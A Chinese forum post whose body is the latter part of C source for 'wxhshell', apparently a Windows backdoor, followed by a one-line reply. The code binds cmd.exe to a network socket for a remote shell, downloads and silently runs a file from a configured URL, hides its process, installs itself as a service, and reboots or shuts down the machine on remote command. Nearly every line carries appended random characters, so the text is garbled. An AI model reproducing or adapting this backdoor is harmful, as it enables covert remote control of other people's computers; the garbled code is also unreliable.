  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >UN vkQ:  
  if(DownloadFile(cmd,wsh)) hWxT!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^$ECDOTB  
  else HDj$"pS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U"x~Jb3]O  
  } kIM C~Z  
  else { -A;w$j6*  
"^"'uO$  
    switch(cmd[0]) { csvO g[  
   1ZNNsB  
  // 帮助 FNJ!IkuR  
  case '?': { ;IhPvff  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }xJR.]).KW  
    break; C1ZyB"{  
  } o*;2mFP  
  // 安装 nP u`;no  
  case 'i': { =c]a {|W?  
    if(Install()) H5p5S\g-)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \\s?B K  
    else vzy!3Hiw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <(uTst  
    break; J0qXtr%h\  
    } V/&o]b   
  // 卸载 /s8/q2:  
  case 'r': { MCd F!{  
    if(Uninstall()) i* gKtjx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "aA_(Ydzj  
    else Xq%*# )M;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O\JD,w  
    break; {9;eH'e  
    } >]?Jrs  
  // 显示 wxhshell 所在路径 U#"WrWj  
  case 'p': { g-eq&#  
    char svExeFile[MAX_PATH]; T0?uC/7H  
    strcpy(svExeFile,"\n\r"); eaxfn]gV  
      strcat(svExeFile,ExeFile); fp-m.d:|  
        send(wsh,svExeFile,strlen(svExeFile),0); I4ctxMVP  
    break; 3.~h6r5-  
    } 9 P~d:'Ib  
  // 重启 xH@'H?  
  case 'b': { tx)OJY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #{~7G%GPY5  
    if(Boot(REBOOT)) 8>d q=0:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxSs ~Qc  
    else { OaNc9c"  
    closesocket(wsh); <vLdBfw&N  
    ExitThread(0); _f66>a<  
    } a+'}XEhSC:  
    break; R( GmU4  
    } O&=KlnI:  
  // 关机 FdM<;}6T  
  case 'd': { V0S6M^\DK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W/a,.M  
    if(Boot(SHUTDOWN)) 7 y>(H<^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pMDH  
    else { {70 Ou}*  
    closesocket(wsh); ~K%k 0kT  
    ExitThread(0); 1V0sl0i4  
    } pd7O`.3  
    break; t#{x?cF  
    } *{Yi}d@h(  
  // 获取shell R @OSqEnr  
  case 's': { PJ0Jjoh"Y  
    CmdShell(wsh); 6."PS4}:  
    closesocket(wsh); 3Mxz_~  
    ExitThread(0); q>P[nz%  
    break; S_j1=6 #^  
  } IY0 3"  
  // 退出 9D%qXU  
  case 'x': { q$|0)}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L1rA T  
    CloseIt(wsh); Pwg/Vhfh  
    break; MN\i-vAL8  
    } PRZ8X{h  
  // 离开 B3eNFS  
  case 'q': { m}rh|x/?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X;(oz]tr$  
    closesocket(wsh); 3]!h{_:u  
    WSACleanup(); YK7\D:  
    exit(1); @OY1`Eu O  
    break; V*>73I  
        } {dZ!I  
  } t(wZiK}  
  } L%k67>  
98h :X%  
  // 提示信息 VZt;P%1;h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lp!0H `L  
} |$Qp0vOA}  
  } ,RR;VKj  
Oe/73| >U  
  return; xSx&79Ez<*  
} pmoGudaRF  
:&qC<UD  
// shell模块句柄 I7A7X*  
int CmdShell(SOCKET sock) Kq8 (d`g}  
{ sC!1B6:  
STARTUPINFO si; >,kL p|gA  
ZeroMemory(&si,sizeof(si)); bG "6pU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dZ.}j&ZH'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LgO i3  
PROCESS_INFORMATION ProcessInfo; PIgGXNo  
char cmdline[]="cmd"; 3,%nkW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9) jo7,VM  
  return 0; @>+^W&  
} .zQ4/  
; A x=]Q  
// 自身启动模式 )\RzE[Cb  
int StartFromService(void) ix(U:'{  
{ cO8`J&EK  
typedef struct l&\t f`~  
{ 0&.LBv8  
  DWORD ExitStatus; zoR,RBU6  
  DWORD PebBaseAddress; $xLEA\s  
  DWORD AffinityMask; e',hC0&S  
  DWORD BasePriority; F19;RaP+  
  ULONG UniqueProcessId; %uh R'8"  
  ULONG InheritedFromUniqueProcessId; l}dj{s  
}   PROCESS_BASIC_INFORMATION; A>4l/  
+GRxHuW,  
PROCNTQSIP NtQueryInformationProcess; K3a>^g  
L-`(!j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UIO6|*ka  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^xzE^"G6  
an-\k*w  
  HANDLE             hProcess; [t {vYo  
  PROCESS_BASIC_INFORMATION pbi; _e;N'DZ  
O\LjtMF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mipi]*ZfXE  
  if(NULL == hInst ) return 0; @QvfN>T  
32M6EEmPG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); un.G6|S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }*xC:A%aS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eL>K2Jxq  
Z'voCWCd  
  if (!NtQueryInformationProcess) return 0; 5Xp$ yX =  
9`OG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *K]>}  
  if(!hProcess) return 0; eUX@9eML  
C}x4#bNK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .a ~s_E  
2q2p=H>&  
  CloseHandle(hProcess); ju8',ZC  
Z}]:x `fXd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pA*D/P-  
if(hProcess==NULL) return 0; zfk'>_'  
=4YbVA+(  
HMODULE hMod; j:3A;r\  
char procName[255]; ]$*$0  
unsigned long cbNeeded; HY*l4QK  
*=($r%)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~5-~q0Ge  
##SLwrg  
  CloseHandle(hProcess); $xKg }cO  
i n[n A a  
if(strstr(procName,"services")) return 1; // 以服务启动 9itdRa==  
n,C D4Nv  
  return 0; // 注册表启动 l=Lmr  
} -0=}|$H.  
X7'h@>R   
// 主模块 qkIA,Kgy  
int StartWxhshell(LPSTR lpCmdLine) v1`bDS?*Q  
{ S/#) :,YS  
  SOCKET wsl; MAsWds`bpB  
BOOL val=TRUE; u.ULS3`C/X  
  int port=0; f]@[4<Ny  
  struct sockaddr_in door; !Ei Ze.K  
7H8GkuO  
  if(wscfg.ws_autoins) Install(); 44Seq  
Y!K^-Y}  
port=atoi(lpCmdLine); ;g;,%jdCS  
4<=eK7;XR  
if(port<=0) port=wscfg.ws_port; eukX#0/^  
nOA ,x  
  WSADATA data; ~$ cm9>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5#9`ROT9  
o+)m}'T8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VZ9e~){xA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !?tu! M<1?  
  door.sin_family = AF_INET; $i1>?pb3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hl4vLx@  
  door.sin_port = htons(port); &F@tmM~  
e#76h;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0lvb{Zd  
closesocket(wsl); E 6>1Fm8%V  
return 1; g4BwKENM  
} B1 jH.(  
+iZ@.LI  
  if(listen(wsl,2) == INVALID_SOCKET) { `Z;B^Y0  
closesocket(wsl); ,d/CU  
return 1; 8EW`*+%=  
} B=o#LL  
  Wxhshell(wsl); MSxU>FX0  
  WSACleanup(); xc3Ov9`8%  
%j 9vX$Hj  
return 0; W#oEF/G  
;DT"S{"7  
} >o=axZNa  
(_s!,QUe  
// 以NT服务方式启动 D 9@<#2-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~@a) E+LsF  
{ W2X+N acD  
DWORD   status = 0; }[hDg6i  
  DWORD   specificError = 0xfffffff; DbPBgD>Q  
r&j+;JM5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iG;d0>Sp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9I^H)~S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S%a}ip&  
  serviceStatus.dwWin32ExitCode     = 0; 8&`T<ECq>  
  serviceStatus.dwServiceSpecificExitCode = 0; v]d?6g  
  serviceStatus.dwCheckPoint       = 0; I%VV4,I&pK  
  serviceStatus.dwWaitHint       = 0; b{yH4)O  
V.E.~<7D\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q xj|lr  
  if (hServiceStatusHandle==0) return; 6i?kkULBS  
52q!zx E  
status = GetLastError(); q(${jz4w  
  if (status!=NO_ERROR) K7d1(.  
{ HeAc(_=C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :">~(Rd ZH  
    serviceStatus.dwCheckPoint       = 0; *I;Mp  
    serviceStatus.dwWaitHint       = 0; s>"WQ|;6  
    serviceStatus.dwWin32ExitCode     = status; <)0LwkFtB  
    serviceStatus.dwServiceSpecificExitCode = specificError; zL[U;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @N:3`[oB  
    return; m8j#{[NE  
  } :jN;l  
G41$oalQ1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G1n>@Y'j''  
  serviceStatus.dwCheckPoint       = 0; g'l7Jr3  
  serviceStatus.dwWaitHint       = 0; Q%b46"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vp9E}ga  
} C9^elcdv  
) Sh;UW  
// 处理NT服务事件,比如:启动、停止 Qg8eq_m(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _oyL*Cb  
{ oeU+?-y/b  
switch(fdwControl) [;kj,j  
{ 07HX5 Hd  
case SERVICE_CONTROL_STOP: =,} !Ns{k  
  serviceStatus.dwWin32ExitCode = 0; 2[bR6 T89  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hF{mm(qyv  
  serviceStatus.dwCheckPoint   = 0; L 52z  
  serviceStatus.dwWaitHint     = 0; ,"HpV  
  { n B|C-.F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ROI$;B(  
  } 4tN~UMw?  
  return; "MVN /Gl  
case SERVICE_CONTROL_PAUSE: DQHGq_unP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T=)L5Vuq<  
  break; %@,:RA\pm  
case SERVICE_CONTROL_CONTINUE: 5tbiNm^X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y5opdIaT  
  break; h11bK'TIv  
case SERVICE_CONTROL_INTERROGATE: BM}a?nnoc  
  break; t3h \.(mq  
}; !un"XI0`t<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rt4|GVa  
} ^c:eXoU  
~m"M#1,ln3  
// 标准应用程序主函数 ,19"[:WN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!$kUcky9  
{ q?b)zeJ  
QH56tQq  
// 获取操作系统版本 VE+p&0  
OsIsNt=GetOsVer(); ohG43&g~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DyV[+P  
(j\UoKLRt  
  // 从命令行安装 TTjjyZ@  
  if(strpbrk(lpCmdLine,"iI")) Install(); )}k`X<~k  
Vt 5XC~jK  
  // 下载执行文件 !-Tmu  
if(wscfg.ws_downexe) { dIe 6:s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cVt$#A)  
  WinExec(wscfg.ws_filenam,SW_HIDE); -Z#]_C{Y-)  
} Wug?CFX+T  
EC&19  
if(!OsIsNt) { 8CHf.SXh  
// 如果时win9x,隐藏进程并且设置为注册表启动 'J<zVD}0  
HideProc(); vzQmijr-  
StartWxhshell(lpCmdLine); Lw78v@dY  
} dYttse'  
else 1 bx^Pt)  
  if(StartFromService()) O"w_sw  
  // 以服务方式启动 MDXQj5s^  
  StartServiceCtrlDispatcher(DispatchTable); ` G/QJH{I  
else Ay. q)  
  // 普通方式启动 1F%*k &R  
  StartWxhshell(lpCmdLine); 9hi(P*%q   
|kRx[UL  
return 0; S}oF7;'Ga  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八